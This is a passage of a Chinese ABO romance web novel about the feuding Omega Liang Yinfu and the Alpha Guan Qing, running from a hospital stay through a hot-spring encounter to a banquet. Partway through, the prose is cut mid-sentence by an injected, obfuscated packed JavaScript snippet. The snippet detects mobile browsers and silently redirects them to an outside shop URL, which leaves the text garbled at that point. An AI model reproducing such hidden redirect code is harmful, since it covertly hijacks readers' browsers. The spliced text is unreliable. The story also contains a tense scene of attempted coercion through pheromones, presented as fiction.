他维持着侧躺在床上的姿势,抬手捂脸,呆呆地看着近在咫尺那个刚刚还蜷缩在他怀里此刻却像只炸了毛的刺猬一样的梁因芙。 梁因芙用被子把自己裹成密不透风的茧,只露出一双瞪得溜圆的漂亮眼睛。 四目相对。 梁因芙将被子一股脑地全部卷了过去,严严实实地裹住了自己,他抬起手摸向自己后颈处那块腺体。 确定它完好无损,没有被Alpha标记侵犯的痕迹时,才松了口气。 关擎看着他这副如临大敌,仿佛自己是什么洪水猛兽,十恶不赦的采花大盗般的反应,先是觉得荒谬,随即被误解的憋屈,被扇巴掌的恼怒,还有连他自己都说不清莫名其妙的烦躁,猛地冲上了头顶。 他“呵”地低笑了一声,撑着床坐起身,揉了揉还在隐隐作痛的脸颊。 “梁因芙,你是不是有病?你还生着病,烧刚退浑身没二两力气,你觉得我会有兴趣对一个病恹恹连自己是谁都分不清的人下手?” “而且我用得着对一个带着孩子脾气又坏又倔的小保姆用强?简直是笑话!” 梁因芙被关擎这番话刺得表情一愣,看着关擎那张写满你不知好歹的脸,想也没想,藏在被子下的脚,猛地朝着关擎踹了过去。 关擎猝不及防,被一脚踹得身体一歪,加上他本来就没坐稳,又离床边太近,整个人失去平衡,“哐当”一声闷响,直接从床上跌了下去。 他撑着地站起身,居高临下地看着床上那个依旧裹着被子,凶狠地瞪着他的梁因芙,咬牙切齿。 “梁因芙!你这个不可理喻的人!” 梁因芙毫不示弱地顶了回去,声音因为高烧初愈和情绪激动而有些沙哑。 “我不可理喻?你有没有听过一句话,叫AO授受不亲,是谁不经过我同意,就爬上我的床的?你还有理了?” 关擎简直要被他这倒打一耙的言论给气笑了。 他往前一步,双手撑在床沿,逼近梁因芙:“梁因芙,你搞清楚状况,昨天是你一直抓着我的手不放,是你一直往我怀里钻,我一动你就哼唧哭,好像我要把你丢了一样。” “我倒是想走,你让我走了吗?嗯?!” 他每说一句,梁因芙就想起一点。 他似乎……好像……真的做过那些事? 那不是烧糊涂了吗?又不作数。 梁因芙:“那是你害得我生病的,你就不该负责任吗?” “就算我哼唧又怎么样?我当时是烧得脑子都坏掉了,分不清东南西北,也分不清谁是谁。” 关擎:“你好意思说我让你生病?是谁自己臭美不带够衣服,差点在机场冻成冰棍?我让你过来是让你来工作,不是让你来生病的。” 梁因芙抬起眼死死地盯着关擎,那双漂亮的琥珀色眼睛里此刻燃烧着熊熊的怒火。 “关擎,你少在这里装模作样!就算我烧糊涂了,就算是我先拉着你,那又怎么样?你一个清醒的Alpha,面对一个生病神志不清的Omega的投怀送抱,难道就没有一点自制力吗?你就不能推开我吗?就不能叫医生,叫护士吗?非要自己亲自照顾到床上来?” 梁因芙嘴上更加不饶人,刻薄又鄙夷道:“我看关先生你口味就是重,放着家里温柔漂亮的正牌夫人不陪,跑到这里来,对一个生病的小保姆嘘寒问暖,同床共枕,你是不是特别享受这种偷情的感觉?觉得特别刺激,有成就感,嗯?” 最后那个“嗯”字,他是学着关擎刚才的语调,原封不动地还了回去,带着十足的挑衅和恶意。 关擎简直要被他气死了。 他昨晚几乎一夜没合眼,就守着这个烧得糊里糊涂,一会儿冷一会儿热,一会儿哭一会儿哼唧的小祖宗。 怕他压到打点滴的手,一直小心翼翼地护着,点滴打完了,半夜按铃叫护士来拔针。 关擎稍微离开一会儿,去倒个水或者上个厕所,床上的人立刻就不安地扭动,他又得赶紧回来,摸摸额头,量量体温,低声安抚几句。 后半夜体温终于安分下来了,他才敢稍微靠在床头闭目养神一会儿,手臂还一直保持着环抱的姿势,免得梁因芙乱动。 关擎活了快三十年,什么时候这么伺候过人?还是个处处跟他作对,脾气坏得像块石头的小保姆。 结果呢? 人一醒来,烧是退了,脑子也清醒了,第一件事不是感谢,而是结结实实给了他一巴掌。 然后就是一通夹枪带棒,颠倒黑白,把他形容成趁人之危,有特殊癖好的猥琐Alpha的污蔑和嘲讽。 关擎觉得自己胸口那股邪火,烧得他五脏六腑都疼。 他深吸了几口气,才勉强压下那股想要把眼前这个人从被子里拎出来,狠狠教训一顿的冲动。 他往后退了一步,拉开了两人之间过于危险的距离:“梁因芙,我发现你这个人翻脸翻得特别快,比翻书还快。” 他不再看梁因芙那副恨不得咬他一口的表情,转身打电话:“送两份早餐到病房,清淡一点。” 说完,关擎挂断电话,没有再看梁因芙一眼,径直走到病房的落地窗前,背对着病床,望着窗外北方城市冬日清晨灰蒙蒙的天空和远处覆盖着积雪的屋顶。 装深沉,生闷气。 梁因芙看着关擎的背影,也不理他,他挪下床,双脚踩在地毯上,还有些虚浮。 他看了一眼关擎的背影,哼了一声,转身慢慢地扶着墙,走进了卫生间,“砰”地一声,关上了门。 关擎才转过身,好一会才走到门口贴在门口听里面的动静。 他怕梁因芙晕倒在里面。 等到早餐被送进来,摆在病房附带的小餐桌上时,梁因芙也已经洗漱完毕,脸色虽然依旧有些苍白,但精神看起来好了不少。 关擎也走了过来,在他对面坐下,同样沉默地开始用餐。 吃过饭之后,梁因芙把面前的垃圾一推,掀开被子,把自己重新裹了进去,只留下一个后脑勺对着关擎的方向,闭上眼睛,没过多久,呼吸就变得均匀绵长,模模糊糊地又睡着了。 等梁因芙再次醒来的时候,窗外的天光已经暗了许多。 梁因芙揉了揉还有些昏沉的脑袋,撑着身体坐起来。 然后他的目光停在了床尾不远处那张单人沙发旁边的地板上。 那里不知何时多了几个看起来就很高级印着品牌logo的纸质购物袋,袋子是干净的米白色。 梁因芙愣了一下,掀开被子,拿起其中一个袋子,朝里面看了看。 是一顶触感极其柔软,颜色是温暖燕麦色的羊绒针织帽,旁边还放着一副同色系同样质地柔软的羊绒手套。 他又拿起另一个袋子,里面是一件长款白色羽绒服。 面料是那种带着细微光泽的高级防水面料,摸上去又轻又软,蓬松度极好,看起来就暖和得不得了。 还有一件是稍微短款一些的,款式更简洁利落的白色羽绒,以及一条厚厚可以包裹住整个脖子的羊绒围巾。 梁因芙拿起衣服抖开,是他自己的尺码,衣服果然很合身,就像是为他量身定做的一样,将他整个人都包裹在一团柔软蓬松的温暖里,领口的毛蹭着他的下巴。 他脸色依旧有些苍白,但被这纯净的白色一衬,反而少了几分病气,多了点清冷干净的味道。 衣服的剪裁很好,虽然是羽绒服,却并不显得臃肿,反而勾勒出他纤细的腰线和略显单薄却依旧好看的身形。 帽子戴上的话,几乎能遮住大半张脸,只露出一双眼睛和一点下巴尖。 这是梁因芙喜欢的类型,简单,干净,而且质量一看就很好,价格也绝对不菲。 梁因芙对着镜子,看了好一会儿,心里憋屈被冲淡了些许,喃喃道:“……还算有点良心。” 出院的手续是关擎的助理去办的。 临走前,医生又过来仔细叮嘱了一番,开了长长的一串药单,大多是补气血,固本培元,调理虚弱体质的中成药和营养补剂。 梁因芙看着那一堆瓶瓶罐罐,眉头立刻皱了起来,整张脸都写满了抗拒。 他拿着药单,看向医生,试图挣扎一下:“医生这些药能不能不吃啊?我觉得我好得差不多了……” 医生是一位面容慈祥,经验丰富的中年女Beta,她推了推鼻梁上的眼镜:“小伙子,你这可不是普通的感冒发烧,你气血亏虚得厉害,底子太差了。年纪轻轻的怎么把身体糟蹋成这样?这可不是小事,得好好调理,不然以后落下病根,有得你受的。” 她顿了顿,目光在梁因芙明显还带着稚气的脸上扫过:“而且你这么小就生了孩子了?而且还没被标记,又没Alpha信息素安抚,别仗着自己年轻,得注意保养。” 梁因芙:“为什么一定要被标记?” 他的声音很轻,像是在问医生,又像是在问自己。 关擎一直沉默地站在他身后不远处,手里拿着助理刚刚办好的出院单据。 他目光落在梁因芙穿着新买的衣服很漂亮的模样。 他心想梁因芙这个人,平时看着伶牙俐齿,浑身是刺,好像什么都不在乎,什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248687|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都能怼回去。可实际上呢? 嘴上说着洒脱,说着为什么要被标记,结果一生病,烧糊涂了,就抱着他不放,嘴里念念不忘的还是那个抛弃他,连标记都不肯给的前夫。 关擎心里涌起一股极其不舒服的感觉。 他一想到梁因芙心里可能还装着他那个死鬼老公,哪怕是在生病意识不清的时候,都本能地寻找着那个人的替代品,就觉得不悦。 关擎对医生点了点头,然后带着人离开。 回到下榻的酒店,关擎让助理把那一大堆药,全部拿到了梁因芙的房间里。 梁因芙一进门,看到茶几上那堆小山,就忍不住翻了个白眼。 “等等。” 关擎叫住了他,他走到茶几旁,从那堆药里,挑出医生嘱咐必须今天开始服用的口服液和胶囊,说道,“现在把这些药吃了。” 梁因芙:“你放那儿吧,我等会儿自己会吃。” 关擎:“自己会吃?梁因芙,你的信用,在我这里,已经破产了。我如果没记错的话,前天你就偷偷扔进了垃圾桶,被我抓了个正着,就现在,当着我的面吃了。” 梁因芙被他说得脸一热。 那瓶深褐色的口服液,光是想象那股混合着各种草药和腥气的味道,梁因芙就觉得胃里一阵翻涌。 补气血的药,大多都带着一股腥气,他最讨厌了。 他站着不动,关擎也不催,就那么好整以暇地坐在沙发上,双臂抱胸,落在他身上。 那姿态,大有一副你不喝,我就不走,咱们就这么耗着的架势。 僵持了几分钟,梁因芙知道,以关擎的性子,今天这药他是非喝不可了。 梁因芙视死如归地走到茶几前,拿起那瓶口服液,拧开盖子,仰起头,闭上眼睛一口气将那黏稠味道诡异的液体灌了下去。 浓烈的腥甜味和草药的苦涩,瞬间在口腔和喉咙里弥漫开来,恶心得他差点吐出来。 梁因芙连忙抓起旁边早就准备好的一杯温水,猛灌了几大口,才勉强将那股翻腾的恶心感压下去。 然后他拿起那几粒胶囊就着水也吞了下去。 关擎看着梁因芙被那药恶心得眉头紧锁,眼角甚至沁出一点生理性泪水的模样:“你要是不按时吃药,把身体彻底搞垮了,我都怀疑,你是不是想用这种方式,合法赖上我了。毕竟你现在名义上还是我的员工。” 梁因芙:“???” 关擎的脑子是不是被门夹了?还是自恋到了一种无可救药的地步? 关擎无视了他那副“见鬼了”的表情:“难道不是吗?你现在跟我之间,还有雇佣关系。如果你因为不听医嘱,不吃药,导致病情反复,甚至出现更严重的问题,作为你的雇主,我是不是也有一定责任?到时候,医药费,误工费,甚至更麻烦的后续,是不是都得我来处理?这不是赖上,是什么?” 梁因芙简直想把手里的空瓶子砸到他脸上。他以前怎么没发现,关擎这个人,不仅贱,自大,还这么能胡搅蛮缠,颠倒黑白? “关,先,生,您,放,心。我一定会听医嘱,不会赖上您的。我对您这种浑身散发着雪松味儿的Alpha,现在严重过敏,闻到一点,就恶心想吐,所以,为了我的生命安全着想,您最好也离我远点。” 关擎听了,忽然慢悠悠地用回忆带着点玩味的口吻,开口说道:“是吗?严重过敏?闻到就想吐?” Alpha身体微微前倾:“可是我怎么记得,你昨天晚上,抱着我的时候,闻着我身上的味道,睡得挺香挺沉的?一点都没有想吐的样子?” 梁因芙:“…………” 因为带着依赖是真实存在过的。 他确实在过去很多夜晚,紧紧抱着眼前这个男人,贪婪地嗅着他身上那股熟悉的雪松信息素,仿佛这是唯一能让他安心,让他觉得温暖和安全的气息来源。 “关先生,雪松味儿的Alpha,就像新闻里说的,占据了Alpha信息素种类的百分之三十以上,属于大众款。大街上随便扔块石头,说不定都能砸到好几个,而我的那个死鬼前夫恰恰也是这种信息素。” 雪松味确实是Alpha信息素中非常常见的一种。 新闻里甚至有过调侃,说在Alpha聚集的商务区或酒吧,空气里飘的都是大同小异的雪松,冷杉,海洋之类的基础款信息素。 而像梁因芙这种花型信息素反而比较少见。 关擎脸色难看:“你什么意思?” 梁因芙看着关擎道:“我的意思是,就算我昨晚说了什么,那不是对关先生说的。” 关擎气得夺门而出。 11.小美人寻夫记(11) 关擎被梁因芙那一番关于雪松味Alpha是大众款,随时随地都能找到替代品,这种又毒又狠烈的话气得着实不轻。 他觉得自己的好心,耐心。 甚至那点连他自己都说不清的隐秘关注和在意,简直像是喂了狗。 不,狗还会摇尾巴,梁因芙只会冲他呲牙,然后把他贬得一文不值。 那股憋闷让关擎看什么都不顺眼,连带着处理工作的效率都受到了影响。 他索性眼不见为净,干脆不再出现在梁因芙面前,他关擎,不缺人陪,更不缺人喜欢,犯不着上赶着去贴一个不知好歹,脾气又坏的小保姆的冷屁股。 然而关擎人虽然不出现了,每天定点出现在梁因芙面前的是关擎那位总是西装革履,表情一丝不苟,公事公办的助理。 助理会礼貌地提醒他:“梁先生,到时间了,这是您今天的药,请您务必按时服用。” 助理态度无可挑剔。 梁因芙可以对关擎甩脸子,呛声,甚至动手,但对上助理,他还真的有点不太好意思发作。 毕竟伸手不打笑脸人。 而且助理只是工作。梁因芙只能在助理温和的注视下,捏着鼻子,把那些味道诡异,让他反胃的药一一吞下去。 这天助理照例来提醒,看着梁因芙吃完,递过来几张卡片,上面印着本地最有名,也最奢华私密的那家温泉度假酒店的logo和图案,旁边还标注了日期和时段的服务券。 “梁先生,您身体恢复得差不多了,可以去泡一泡温泉,驱驱病气,对恢复也有好处,凭票可以直接使用最好的汤屋。” 梁因芙听说过这里的温泉十分出名,水质好,环境佳,是许多来此出差或旅游的人必去的打卡地,尤其是那家顶级的度假酒店,据说一票难求,价格不菲。 这温泉券,多半是关擎的意思。 梁因芙向来只跟关擎这个人过不去。 可对这些实实在在的能让他舒服享受的好东西,他也没什么抵抗力。 浪费了,确实可惜。 梁因芙接过来:“……谢谢。” 不泡白不泡。 助理完成了任务。 当天下午,梁因芙就拿着温泉券,舒舒服服地去那家奢华得有些过分的度假酒店,泡了一个惬意的温泉浴。 私人汤屋环境清幽,热气氤氲,驱散了连日来因为生病和吃药而产生的疲惫和晦气。 梁因芙泡得脸颊泛红,浑身发软,只觉得这段时间以来的憋闷和不适,都随着蒸腾的热气,消散了不少。 舒服。 第二天,他想着反正券还有,不用也是浪费,而且昨天泡完,晚上确实睡得格外香甜。 于是他又去了。 梁因芙整个人几乎要融化在温暖的水波里,闭着眼睛,享受着这份难得的宁静和惬意。 水汽朦胧,思绪也飘飘忽忽。 就在他泡得浑身酥软,昏昏欲睡的时候,汤屋那扇精致的竹制推拉门,忽然被人从外面,轻轻拉开了。 梁因芙惊得猛地睁开眼,下意识地往水里缩了缩,警惕地看向门口。 然后他看到了关擎。 关擎身上也穿着酒店提供的白色浴衣,腰带松松地系在腰间,露出线条清晰的锁骨和一小片结实的胸膛。 他刚来,几缕碎发贴在饱满的额角,少了平日里穿西装打领带的那份冷硬和距离感,多了几分居家的随意。 他站在门口,逆着外面走廊的光,身形高大挺拔,目光在蒸腾的白雾中,落在了汤池里瞪圆了眼睛的Omega身上。 梁因芙身上穿的泳衣,是他昨天在酒店精品店里临时买的,质地很软很薄,是淡淡的樱花粉色。 此刻被温泉水浸湿,湿漉漉地贴在身上,几乎变成了半透明,紧紧包裹着他纤细却起伏有致的身体曲线,腰是腰,臀是臀,一双长腿在水波中若隐若现,皮肤被热水泡得泛着淡淡的粉,在氤氲的水汽中,显得格外诱人。 关擎的视力,向来极好。 他以前在部队待过,练就了一双能在各种恶劣环境下迅速捕捉目标,分辨细节的眼睛。 此刻就看到了梁因芙那流畅优美的身体线条,和…… 那件湿透的泳衣,紧紧贴着皮肤,勾勒出胸口,梁因芙还没给小宝断奶…… 关擎的喉结滚动了一下。 他移开视线,看向汤池另一边冒着热气的泉眼,仿佛那里有什么特别值得研究的东西,耳根似乎也因为室内过高的温度微微有些泛红。 “陈助理说这券是两人间的,订的时候没注意,我看日期快到了,不用也是浪费,所以我也来泡泡。” 物尽其用,非常好的理由。 梁因芙听着他这番解释,明显不信。 两人间?浪费?骗鬼呢? 以关擎的财力和作风,会缺这么一个泡温泉的地方?还用得着跟他挤一个汤屋? 分明就是故意的。 梁因芙用力往汤池的角落挪了挪,将自己大半个身体都藏进了水汽更浓的角落,只露出一个湿漉漉的脑袋和一双警惕的眼睛。 动作带着明显的排斥。 关擎看着他恨不得离他八丈远的防备样子,冷处理勉强压下去的火气,又冒了上来,他到底有什么地方比不上梁因芙那个死鬼前夫? 他活着,健康,有钱有势,能给梁因芙提供优渥的生活。 梁因芙到底在嫌弃他什么? 他想不通,只觉得挫败和不甘。 他不再看梁因芙,径直走到汤池的另一边,离梁因芙最远的位置,脱掉浴衣,里面还穿着泳裤,下了水。 温热的泉水瞬间包裹上来,关擎靠在池边,闭上眼,试图平复心绪,可眼角的余光,却总是不受控制地往那个缩在角落,湿发的身影上瞟。 汤屋里一片寂静,只有温泉水咕嘟咕嘟冒泡的声音。 尴尬而紧绷的气息在无声流淌。 梁因芙觉得自己泡得差不多了,再泡下去,他怕自己会因为缺氧或者被关擎那存在感极强的目光灼伤而晕过去。 他扶着池壁,慢慢地站起身。水珠顺着湿透的薄薄衣料,滴滴答答地落回池中。 梁因芙伸手,想去够放在池边躺椅上干燥的厚浴袍。可或许是因为刚才憋气得太久,血液循环加快,猛然站起来,加上地上湿滑,他脚下一软,踩到了一块特别滑溜的鹅卵石,整个人顿时失去平衡,惊叫一声,朝着坚硬冰冷的池边地面,直直地栽倒下去。 “小心!” 几乎是同时,关擎低喝一声,原本靠在池边的身体,如同猎豹般猛地弹起,带起一片水花,长臂一伸,在梁因芙一把将人捞进了自己怀里。 梁因芙整个人撞进一个湿漉漉,鼻尖瞬间充斥满了Alpha大众信息素。 他惊魂未定,心脏砰砰狂跳,手下意识地抓住了关擎湿滑的手臂,指尖触及到对方充满力量的肌肉线条。 关擎的手臂紧紧地环在梁因芙的腰间,将他整个人都护在怀里,避开了与坚硬池沿的碰撞。 两人湿透的身体紧紧贴在一起,隔着薄薄几乎不顶事的湿衣,感受到彼此的体温和心跳。 关擎的胸口因为刚才那瞬间的爆发和紧张,而微微起伏,温热的呼吸拂过梁因芙湿漉漉的头顶。 “没事吧?” 关擎的声音带着后怕,手臂的力道却没有立刻松开。 梁因芙被他抱得太紧,几乎喘不过气,脸上因为惊吓和后怕而褪去的血色,又因为两人过于亲密的姿势和肌肤相贴的触感,而迅速涌了回来,烧得他脸颊发烫。 他挣扎了一下。 关擎似乎也意识到了姿势的不妥,手臂松了些力道,却没有完全放开。 他低下头,看着怀里人那张因为惊吓和羞恼而涨得通红,睫毛上还挂着水珠,显得格外脆弱可怜的小脸,眼神深了深。 关擎没等梁因芙站稳,忽然手臂一用力,直接将人打横抱了起来。 “啊!你干什么?!放我下来!” 梁因芙惊呼一声。 关擎没理他的挣扎,抱着他,几步走到旁边的躺椅旁,将他放在了铺着柔软毛巾的躺椅上。 梁因芙一沾到椅子,立刻就想翻身起来,可关擎却快他一步,弯下腰,伸出手,往下拉了一截梁因芙泳衣面前的拉链。 “你——!” 梁因芙又惊又怒,以为他要做什么,声音都变了调。 可关擎并没有做别的,他拿着一旁毛巾当作扇子,对着梁因芙的脸颊,脖颈,胸口,用力地扇了几下风。 “怎么样?清醒没有,头晕不晕?你脸好红。” 关擎一边扇着风,目光在梁因芙身上快速扫视 梁因芙被他这突如其来的举动给弄得彻底愣住了。 他看着近在咫尺关擎那张显得有些傻气的俊脸,听着他担忧的问话,心里那股因为被冒犯而产生的怒火,噗地一下,泄了大半。 他张了张嘴,想骂关擎多管闲事,却一个字也说不出来。 梁因芙只是愣愣地看着他,胸膛因为未平的气息和混乱的心绪,而微微起伏。 湿漉漉的头发贴在苍白的额角,水珠顺着脸颊的轮廓,缓缓滑落,滴在锁骨凹陷处,又没入湿透的衣料深处。 梁因芙躺在躺椅上,他需要空间冷静,需要离这个总是能轻易搅乱他心绪的男人远一点。 “……我没事,你让我自己缓缓就好了。” 关擎还保持着弯腰,给他扇风的姿势。 他没再说什么,只走到旁边,拿起自己那件干燥的白色浴衣,迅速穿好,走出了汤屋。 汤屋里,只剩下梁因芙一个人,他躺在那里,看着天花板,脑子里乱糟糟的。 过了一会儿,门又被推开了。关擎去而复返,手里拿着一瓶拧开了盖子的矿泉水。他走到躺椅边,将水递到梁因芙面前:“喝水。” 梁因芙看了他一眼,没说话,只是伸手接过水瓶,小口小口地喝了几口水。 喝完水,梁因芙试图自己站起来,去穿衣服。 “你一个人能行吗?” 关擎站在 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关擎微微低着头,温热的气息,混合着浓烈到几乎化不开的雪松信息素,铺天盖地地,笼罩下来,将梁因芙整个人都笼罩在他的阴影和气息之中。 那双漆黑眼眸,此刻像是燃起了两簇幽暗的火苗,死死地锁在梁因芙骤然瞪大的琥珀色眼睛上。 “梁因芙,你告诉我,我到底有哪一点,比不上你那个已经死了连标记都不肯给你的前夫?” 他目光在梁因芙因为震惊而微微张开的浅唇上,眼神更加幽深晦暗:“以后我也可以照顾你,还有小宝,我可以给你们更好的生活,我……” 关擎疯了吗? 他知道自己在说什么吗? 荒谬感冲垮了梁因芙的思考能力,他一个字也发不出来,呆呆地看着关擎那张因为激动和喷薄而出的欲望,而显得有些扭曲的俊脸。 关擎的脸猛地压了下来。 目标是梁因芙的嘴唇。 在关擎的嘴唇即将触碰到梁因芙的前一刻,他用手背死死地捂住了自己的嘴。 梁因芙推开关擎:“你结婚了的!” “你知道那是假的,我跟幻真是假的,孩子也不是我的!你明明都知道!你……” “滚开!” 梁因芙不等他说完,用尽全身残存的力气,狠狠地一把推开了他。 关擎猝不及防,被他推得向后踉跄了一步,后背撞在另一侧的墙壁上,发出一声闷响。 梁因芙:“我讨厌你,滚蛋,关擎!你就是这个世界上最混蛋,最恶心,最不要脸的王八蛋!” 他骂得毫不留情,用尽了他能想到的所有最恶毒,最肮脏的词汇。 就在梁因芙嘶吼着怒骂的时候,他感觉到自己的身体和Alpha信息素因为近距离和高强度刺激,而开始产生某种极其不妙的变化。 后颈处的Omega腺体,传来发热感,身体内部,似乎有什么东西,正在被强行唤醒搅动。 他能感觉出来,关擎这个禽兽,对他起反应了。 不仅仅是生理上的,还有信息素层面上,Alpha对Omega最原始,最本能的掠夺和占有欲望。 雪松信息素如同无形的蛛网,正丝丝缕缕地缠绕上来,试图侵入他的感官,影响他的神智,甚至诱发他的发//情。 如果关擎真的不顾一切,用他Alpha的信息素,对他进行强制压制和诱导,梁因芙不敢再想下去。 以他现在的身体状况和精神状态和AO间巨大的生理差距,他根本毫无反抗之力。 梁因芙此刻才意识到,一个Omega,和一个对他怀有强烈欲//望的Alpha,共处一室,究竟有多么危险。 就像闯入了饥饿猛兽的巢穴。 Omega的信息素,此刻不受控制地逸散出来。 那是雨后山林混合着木芙蓉的干净独特的甜美气息,又因为主人的恐惧和Alpha信息素的侵染,而带上了一丝无助勾引般的诱惑。 这味道,对此刻的关擎来说,无异于最烈性的催//情毒药。 面前信息素却甜得让他几乎发狂的梁因芙,简直就是巨大的欲望体。 关擎脑子里只有一个疯狂的念头在叫嚣,那就是把他压在身下,撕碎他所有可笑的抵抗和尖刺。 用最原始的方式,占有他,标记他,让他哭,让他求饶。 让梁因芙再也说不出那些伤人的话,让他眼里心里,都只有他关擎一个人。 不过关擎还是忍住了。 关擎像是身后有洪水猛兽在追赶,跌跌撞撞地冲出了汤屋,甚至忘了关门,那背影仓皇得跟落荒而逃似的。 梁因芙才像是被抽空了所有力气,身体一软,缓缓滑坐在地上。 关擎再不走,他估计都要给他生二胎了。 别看他们刚才好像在信息素对峙,其实梁因芙纯属硬撑了,他身上的水不单是汤池里的,不过他才不要便宜这个贱男人。 12.小美人寻夫记(12) 梁因芙觉得简直没有比关擎这种禽兽还要禽兽的人。 梁因芙抬起那只刚刚被关擎滚烫的嘴唇亲过的手背,另一只手,用力自虐般地在那块皮肤上狠狠地擦拭起来。 那块白皙的手背皮肤很快就被他擦得红了一片。 当初捡到关擎,的确是梁因芙先主动的。他看到了他,心软了,不顾镇里人的闲言碎语和婶子的担忧,把人拖回了家悉心照料。 那个时候的他,因为Omega的身份和过于出众的样貌,在闭塞的小镇上,处境有些微妙。 提亲的人不是没有,但要么是觊觎他美貌的登徒子,要么就是其貌不扬的Alpha,梁因芙不喜欢,婶子也私下里劝过他,该考虑婚嫁了,找个靠谱的Alpha,也好有个依靠。 然后岑叙就出现了。 他长得高大,身材结实,五官深邃俊朗,完全符合梁因芙的审美。谈吐举止间,不经意流露出的见识和沉稳,都与小镇里的那些Alpha截然不同。 他勤快,能干活,样样学得快,做得好。 那个时候,在梁因芙心里,岑叙简直就是他的Alpha不二人选。高大帅气,博古通今,勤劳肯干,身材也棒得没话说,脱了衣服,那一身线条流畅的肌肉,充满了力量感。 就连后来两人情//到浓时,在床上,岑叙也特别得劲,总能轻易地撩拨起他所有的感官,带给他极致的快乐和安全感。 梁因芙从小虽然在小镇长大,性格也是爽利直接,他喜欢了,就勇敢地去爱,去靠近,去付出。 他觉得这并没有什么错。 他把自己最干纯粹的感情,毫无保留地给了一无所有名叫岑叙的男人,不在乎镇里人的闲话,梁因芙只是单纯地爱着信任着他,甚至怀着岑叙的孩子,满心欢喜地期待着属于他们三个人的未来。 可是现在一切都变了。 岑叙变成了关擎。 那个温柔体贴,会笨拙地哄他的男人,变成了眼前这个高高在上,冷酷傲慢,甚至试图用强权和信息素来征服他的陌生男人。 是,梁因芙现在知道了,关擎和林幻真是假结婚,也许是各取所需,孩子也不是关擎的。 可是那又怎么样? 他们之间,可能明明白白有着一纸受法律保护的结婚证书,有着夫夫的名义,有着一个共同养育的女儿。在外人眼里,在社会的规则里,关擎就是有夫之夫,林幻真就是他的Omega。 那么关擎把他梁因芙,单独带出来,安排在他身边,用那种暧昧不清的态度对待他,甚至今天在温泉,差点对他做出禽兽不如的事情,到底把他当成了什么? 一个可以随意玩弄,召之即来挥之即去见不得光的小三? 还是一个用来调剂枯燥婚姻生活,新鲜带着点野趣的调味品? 光是想到这些可能性,梁因芙就觉得胃里一阵翻江倒海,恶心得要吐出来。他觉得,刚才被关擎碰过的手背,甚至整个身体都脏得不行。 真是恶心透了。 梁因芙第一个念头,就是立刻带着小宝离开这里,离开关擎,他一刻也不想再待下去,不想再看到关擎那张脸,不想再闻到那股信息素。 他要走,离得远远的。 回镇子上也好,去别的任何地方也罢,只要没有关擎,不过一定得让他付出代价。 与此同时梁因芙又为自己当初付出傻得可笑的真心,感到深深的不值,还有被彻底愚弄,践踏后的屈辱。 他当初怎么就眼瞎到了那种地步? 居然把这样一个虚伪,自私,霸道,毫无底线,甚至连基本的道德和责任都不顾的禽兽,当成了可以托付终身的良人? 还为他生了孩子,为他熬过了最艰难的生产和育儿初期。 他恨关擎,更恨当初那个轻易交出真心,被爱情蒙蔽了双眼愚蠢的自己。 关擎既然是这样一种男人,一个可以对名义上的Omega冷漠疏离,却对另一个Omega产生不该有的欲望,甚至试图用强的男人,那他当初,是怎么伪装出那副深情款款,温柔体贴的模样的? 人格分裂?还是他本性就如此卑劣,善于伪装? 梁因芙不知道。 他只知道,他后悔了。 后悔当初多管闲事,捡回了这个祸害,自己动了心,交了身,还生了孩子。 后悔没有在发现关擎身份的第一时间,就带着小宝远远逃走。 算了,人年轻的时候怎么可能不遇上几个渣。 返程的飞机上,气氛降到了冰点。 梁因芙和关擎,一个坐在靠窗的位置,一个坐在靠过道,中间隔着助理特意留出的,仿佛楚河汉界般的空位。 两人从头到尾,没有一句交流,甚至没有一次眼神的对视。 梁因芙一直侧着头,看着窗外翻滚的云海,甚至连空乘送来的饮料和餐点,都碰都没碰。 关擎则一直闭着眼睛,仿佛在假寐,但紧蹙的眉头和紧抿的薄唇,泄露了他根本就没睡着。 助理连大气都不敢喘,全程低着头,假装自己不存在,生怕一个不小心,就成了冷战的炮灰。 飞机上的几个小时,漫长得像是一个世纪。 回到别墅。 诺诺的满月宴要办了。 宴会是在家里办的。关家这样的门第,该有的礼数和排场,一样不能少。更何况,这也是关家和林家,向外界展示家庭和睦,后继有人的一个机会。 宴会当天,别墅里张灯结彩,布置得喜气洋洋。来送礼,道贺的人络绎不绝。 有关擎仕途上的朋友,有关家本家的亲戚,更多的是林幻真娘家的亲戚朋友。 偌大的客厅和庭院里,很快就挤满了衣着光鲜,笑语寒暄的男男女女。 空气里弥漫着香槟,糕点,香水混和,属于上流社会社交场合繁华又虚伪的气息。 梁因芙本来不想出去。他对这种场合毫无兴趣,更不想看到关擎,也不想被任何人用好奇的目光打量。 他只想待在房间里,陪着小宝。 可小宝不肯乖乖待在房间里,咿咿呀呀地指着门外,小身子往外挣。育儿嫂今天也放假了,梁因芙没办法,只好抱着他,走出了房间。 但他没敢往宾客云集,喧嚣吵闹的前厅走,那里是关擎和林幻真的主场,他不想去。 他抱着小宝,绕到了别墅后面的后花园。 花园里也做了一些简单的装饰,挂了彩灯,摆了些鲜花,但比起前厅,这里空旷得多,也安静得多。 梁因芙找了一个有阳光,又避风的角落,将小宝放在铺着柔软垫子的婴儿车里,自己则坐在旁边的长椅上,心不在焉地,拿着一个色彩鲜艳的摇铃,逗着小宝玩。 小宝被摇铃吸引,伸出胖乎乎的小手去抓,发出咯咯的笑声。 孩子的笑声,纯净无邪,驱散了梁因芙心头的阴霾。 他并不知道前厅现在是什么情况。 关擎是不是正端着酒杯,以新晋父亲的身份接受着众人的祝贺?他们在人前依旧维持着那副相敬如宾,恩爱和睦的假象? 梁因芙心里又是一阵烦闷。他强迫自己不再去想,专注地看着眼前的小宝。 至少他还有小宝。 这个孩子,是他那段可笑又可悲的爱情里,唯一值得的馈赠。 就在梁因芙看着小宝出神的时候,一个陌生的声音,突然在他身后不远处响起。 “喂,你知道去洗手间,该怎么走吗?” 声音是属于一个成年男性的,听起来年纪不大。 梁因芙闻声转过头。 